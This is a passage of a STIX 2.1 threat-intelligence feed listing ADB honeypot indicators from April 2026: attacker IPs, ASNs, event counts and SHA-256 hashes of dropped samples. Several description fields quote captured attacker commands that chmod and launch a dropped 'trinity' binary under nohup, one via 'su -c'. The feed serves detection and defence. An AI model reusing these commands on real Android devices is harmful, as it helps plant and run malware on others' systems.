      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:00:04.000Z",
      "valid_until": "2026-05-05T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 24,
          "first_seen": "2026-04-03T04:39:54.000Z",
          "last_seen": "2026-04-03T04:51:23.536Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T05:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=61; ports=5555; cc=CN; asn=56041; asn_org=China Mobile communications corporation; adb_cmd_hits=28; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-04. events=121 | first_seen=2026-04-03T04:23:19.000Z | last_seen=2026-04-26T08:32:47.257Z | ports=5555 | cc=CN | asn=56041 | org=China Mobile communications corporation | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--626101c2-7da7-4096-bfc5-a3dcbe03a3fd",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '218.205.95.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:00:04.000Z",
      "valid_until": "2026-05-05T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 121,
          "first_seen": "2026-04-03T04:23:19.000Z",
          "last_seen": "2026-04-26T08:32:47.257Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56041"
          ],
          "org": [
            "China Mobile communications corporation"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T05:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-03T04:44:34.000Z | last_seen=2026-04-03T04:45:44.126Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--e52c6bf1-7999-4f45-a372-e1d966f7db65",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.225.124.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:00:04.000Z",
      "valid_until": "2026-05-05T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-03T04:44:34.000Z",
          "last_seen": "2026-04-03T04:45:44.126Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T05:00:04.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257.raw; src_ip=218.205.95.163; src_ips=218.205.95.163; cc=CN; last_seen=2026-04-03T04:24:39.024Z; cmds=[/data/local/tmp/nohup /data/local/tmp/trinity | /data/local/tmp/nohup su -c /data/local/tmp/trinity | chmod 0755 /data/local/tmp/trinity]",
      "id": "indicator--89892f13-9238-4e1d-a526-87712c1f7e9d",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T05:00:04.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64.raw; src_ip=218.205.95.163; src_ips=218.205.95.163; cc=CN; last_seen=2026-04-03T04:24:59.005Z; cmds=[/data/local/tmp/nohup /data/local/tmp/trinity | /data/local/tmp/nohup su -c /data/local/tmp/trinity | chmod 0755 /data/local/tmp/trinity]",
      "id": "indicator--86714b6a-2bd8-4d2c-b1bd-14b75bae4aa8",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T05:00:04.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437.raw; src_ip=218.205.95.163; src_ips=218.205.95.163; cc=CN; last_seen=2026-04-03T04:25:16.360Z; cmds=[/data/local/tmp/nohup /data/local/tmp/trinity | /data/local/tmp/nohup su -c /data/local/tmp/trinity | chmod 0755 /data/local/tmp/trinity]",
      "id": "indicator--5c5c9721-40ce-4e9e-8254-7827fae81c0e",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T05:00:04.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0.raw; src_ip=218.205.95.163; src_ips=218.205.95.163; cc=CN; last_seen=2026-04-03T04:25:25.629Z; cmds=[/data/local/tmp/nohup /data/local/tmp/trinity | /data/local/tmp/nohup su -c /data/local/tmp/trinity | chmod 0755 /data/local/tmp/trinity]",
      "id": "indicator--6b1b68f3-1dad-4432-ab40-fc197fd238b4",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'd7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T06:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=KR; asn=17853; asn_org=LGTELECOM; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=14 | first_seen=2026-04-03T05:43:08.000Z | last_seen=2026-04-03T05:53:18.104Z | ports=5555 | cc=KR | asn=17853 | org=LGTELECOM",
      "id": "indicator--5712368c-7118-45f0-9b3c-87aaa9be8f49",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '117.111.5.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T06:00:03.000Z",
      "valid_until": "2026-05-05T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 14,
          "first_seen": "2026-04-03T05:43:08.000Z",
          "last_seen": "2026-04-03T05:53:18.104Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "17853"
          ],
          "org": [
            "LGTELECOM"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T06:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=285; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=285 | first_seen=2026-04-03T05:12:58.000Z | last_seen=2026-04-03T05:24:05.308Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--f49b9ed3-98d7-4ad7-a5a0-7fb552a5ce25",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.190.74.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T06:00:03.000Z",
      "valid_until": "2026-05-05T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 285,
          "first_seen": "2026-04-03T05:12:58.000Z",
          "last_seen": "2026-04-03T05:24:05.308Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T06:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=RU; asn=216473; asn_org=Bashinskii Vadim Ruslanovich; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=79 | first_seen=2026-04-03T05:52:22.000Z | last_seen=2026-04-30T18:44:56.951Z | ports=5555 | cc=RU | asn=216473 | org=Bashinskii Vadim Ruslanovich",
      "id": "indicator--f10cbed5-d0ed-4ada-90a3-e8d99d3c5404",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '80.66.83.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T06:00:03.000Z",
      "valid_until": "2026-05-05T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 79,
          "first_seen": "2026-04-03T05:52:22.000Z",
          "last_seen": "2026-04-30T18:44:56.951Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "216473"
          ],
          "org": [
            "Bashinskii Vadim Ruslanovich"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=32 | first_seen=2026-04-03T06:06:31.000Z | last_seen=2026-04-29T14:41:24.765Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--4ea05228-b316-4d56-a5d0-cffdabc7438c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T07:00:03.000Z",
      "valid_until": "2026-05-05T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 32,
          "first_seen": "2026-04-03T06:06:31.000Z",
          "last_seen": "2026-04-29T14:41:24.765Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-03T06:04:48.000Z | last_seen=2026-04-03T06:05:53.488Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--2bc5b502-9918-4d45-8a93-147adcc4ec2e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T07:00:03.000Z",
      "valid_until": "2026-05-05T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-03T06:04:48.000Z",
          "last_seen": "2026-04-03T06:05:53.488Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T08:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=21 | first_seen=2026-04-03T07:18:57.000Z | last_seen=2026-04-12T21:12:30.978Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--4b7dd748-09b4-4577-9bab-5ffe3fa62ac8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T08:00:04.000Z",
      "valid_until": "2026-05-05T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 21,
          "first_seen": "2026-04-03T07:18:57.000Z",
          "last_seen": "2026-04-12T21:12:30.978Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=10439; asn_org=CariNet, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=25 | first_seen=2026-04-03T08:00:08.000Z | last_seen=2026-04-03T09:03:09.567Z | ports=5555 | cc=US | asn=10439 | org=CariNet, Inc.",
      "id": "indicator--db81c215-aa54-46a7-991f-e56e29be14b4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '71.6.134.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T09:00:03.000Z",
      "valid_until": "2026-05-05T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 25,
          "first_seen": "2026-04-03T08:00:08.000Z",
          "last_seen": "2026-04-03T09:03:09.567Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "10439"
          ],
          "org": [
            "CariNet, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-03T09:02:36.000Z | last_seen=2026-04-03T09:04:12.259Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--a2a9b329-b861-4dc8-9c90-0105fea7948c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T10:00:03.000Z",
      "valid_until": "2026-05-05T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-03T09:02:36.000Z",
          "last_seen": "2026-04-03T09:04:12.259Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=65; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-04. events=131 | first_seen=2026-04-03T10:24:00.000Z | last_seen=2026-04-08T18:47:55.873Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--36209a42-f298-45b7-83bb-9d54cdf4a56b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '203.229.224.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T11:00:03.000Z",
      "valid_until": "2026-05-05T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 131,
          "first_seen": "2026-04-03T10:24:00.000Z",
          "last_seen": "2026-04-08T18:47:55.873Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-03T11:00:03.000Z",
